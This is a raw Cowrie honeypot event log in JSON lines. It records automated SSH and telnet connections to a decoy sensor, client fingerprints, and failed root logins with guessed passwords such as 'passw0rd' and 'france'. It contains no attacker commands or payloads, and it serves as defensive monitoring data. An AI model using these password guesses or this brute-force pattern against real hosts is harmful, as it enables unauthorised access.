{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:20.268825Z","src_ip":"103.24.63.85","session":"e2de09d7c996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:20.418842Z","src_ip":"103.24.63.85","session":"e2de09d7c996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:20.560290Z","src_ip":"51.250.105.222","session":"5486fd709189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:21.187891Z","src_ip":"103.24.63.85","session":"e2de09d7c996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:22.584030Z","src_ip":"103.24.63.85","session":"e2de09d7c996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49766,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9617516eb66","protocol":"telnet","message":"New connection: 192.119.13.58:49766 (10.17.0.5:23) [session: f9617516eb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:24.137602Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43614,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f8cc895978e","protocol":"ssh","message":"New connection: 87.251.79.125:43614 (10.17.0.5:22) [session: 3f8cc895978e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:27.078124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:27.081582Z","src_ip":"87.251.79.125","session":"3f8cc895978e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:27.154461Z","src_ip":"87.251.79.125","session":"3f8cc895978e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaaaa","message":"login attempt [root/aaaaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:27.373950Z","src_ip":"87.251.79.125","session":"3f8cc895978e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:28.450318Z","src_ip":"87.251.79.125","session":"3f8cc895978e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d56a2f97b84","protocol":"telnet","message":"New connection: 192.119.13.58:48906 (10.17.0.5:23) [session: 6d56a2f97b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:30.104043Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7a7fcadfb36","protocol":"ssh","message":"New connection: 89.108.118.91:43450 (10.17.0.5:22) [session: d7a7fcadfb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:31.295823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:31.300744Z","src_ip":"89.108.118.91","session":"d7a7fcadfb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:31.449163Z","src_ip":"89.108.118.91","session":"d7a7fcadfb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"france","message":"login attempt [root/france] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:32.197220Z","src_ip":"89.108.118.91","session":"d7a7fcadfb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:33.347935Z","src_ip":"89.108.118.91","session":"d7a7fcadfb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47572,"dst_ip":"10.17.0.5","dst_port":23,"session":"37fd680cccb1","protocol":"telnet","message":"New connection: 192.119.13.58:47572 (10.17.0.5:23) [session: 37fd680cccb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:43.260504Z"}
{"eventid":"cowrie.session.closed","duration":37.53790736198425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:43.340170Z","src_ip":"192.119.13.58","session":"b8b63266f656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.366920471191406,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:46.458386Z","src_ip":"192.119.13.58","session":"717b8ca7c8ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38626,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0427726155","protocol":"telnet","message":"New connection: 192.119.13.58:38626 (10.17.0.5:23) [session: ee0427726155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:47.749951Z"}
{"eventid":"cowrie.session.closed","duration":46.796902894973755,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:47.958127Z","src_ip":"192.119.13.58","session":"7a18beed93ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56554865837097,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:48.500664Z","src_ip":"192.119.13.58","session":"05735023cae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38003659248352,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:49.394872Z","src_ip":"192.119.13.58","session":"86591082c49c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2652063369751,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:51.655579Z","src_ip":"192.119.13.58","session":"e7b0d06f3eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"c29692e0d012","protocol":"telnet","message":"New connection: 192.119.13.58:42846 (10.17.0.5:23) [session: c29692e0d012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:56.002372Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53982,"dst_ip":"10.17.0.5","dst_port":23,"session":"409a290e3cd5","protocol":"telnet","message":"New connection: 192.119.13.58:53982 (10.17.0.5:23) [session: 409a290e3cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:58.668732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd20e13c8c44","protocol":"telnet","message":"New connection: 192.119.13.58:55936 (10.17.0.5:23) [session: dd20e13c8c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:21:59.168360Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50402,"dst_ip":"10.17.0.5","dst_port":23,"session":"1637cead0097","protocol":"telnet","message":"New connection: 192.119.13.58:50402 (10.17.0.5:23) [session: 1637cead0097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:05.283366Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55208,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc31e5a29298","protocol":"telnet","message":"New connection: 192.119.13.58:55208 (10.17.0.5:23) [session: dc31e5a29298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:06.596370Z"}
{"eventid":"cowrie.session.closed","duration":43.39570617675781,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:07.533026Z","src_ip":"192.119.13.58","session":"f9617516eb66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59651207923889,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:09.700435Z","src_ip":"192.119.13.58","session":"6d56a2f97b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59808,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bfd8c770cc","protocol":"ssh","message":"New connection: 103.183.114.55:59808 (159.203.135.109:22) [session: 44bfd8c770cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:10.187204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:10.193353Z","src_ip":"103.183.114.55","session":"44bfd8c770cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:10.423733Z","src_ip":"103.183.114.55","session":"44bfd8c770cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"????????","message":"login attempt [root/????????] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:11.110654Z","src_ip":"103.183.114.55","session":"44bfd8c770cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:12.340193Z","src_ip":"103.183.114.55","session":"44bfd8c770cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.72943949699402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:14.989872Z","src_ip":"192.119.13.58","session":"37fd680cccb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":42162,"dst_ip":"10.17.0.5","dst_port":22,"session":"a43d4b2bf647","protocol":"ssh","message":"New connection: 103.75.182.198:42162 (10.17.0.5:22) [session: a43d4b2bf647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:21.015214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:21.019884Z","src_ip":"103.75.182.198","session":"a43d4b2bf647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:21.261086Z","src_ip":"103.75.182.198","session":"a43d4b2bf647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"743f92d8da90","protocol":"telnet","message":"New connection: 192.119.13.58:41146 (10.17.0.5:23) [session: 743f92d8da90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:21.776232Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555ol","message":"login attempt [root/55555ol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:21.984636Z","src_ip":"103.75.182.198","session":"a43d4b2bf647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:23.228798Z","src_ip":"103.75.182.198","session":"a43d4b2bf647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53200,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6a634acf9e","protocol":"telnet","message":"New connection: 192.119.13.58:53200 (10.17.0.5:23) [session: 1c6a634acf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:24.968862Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27316,"dst_ip":"159.203.135.109","dst_port":22,"session":"145c22e8623d","protocol":"ssh","message":"New connection: 194.59.206.2:27316 (159.203.135.109:22) [session: 145c22e8623d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:27.998636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:28.004628Z","src_ip":"194.59.206.2","session":"145c22e8623d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:28.172905Z","src_ip":"194.59.206.2","session":"145c22e8623d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:28.273976Z","src_ip":"194.59.206.2","session":"145c22e8623d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3200204372406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:31.988617Z","src_ip":"192.119.13.58","session":"409a290e3cd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.448131799697876,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:32.197942Z","src_ip":"192.119.13.58","session":"ee0427726155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.149616718292236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:33.317886Z","src_ip":"192.119.13.58","session":"dd20e13c8c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085811376571655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:36.369070Z","src_ip":"192.119.13.58","session":"1637cead0097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.584179162979126,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:22:42.586423Z","src_ip":"192.119.13.58","session":"c29692e0d012","protocol":"telnet"}
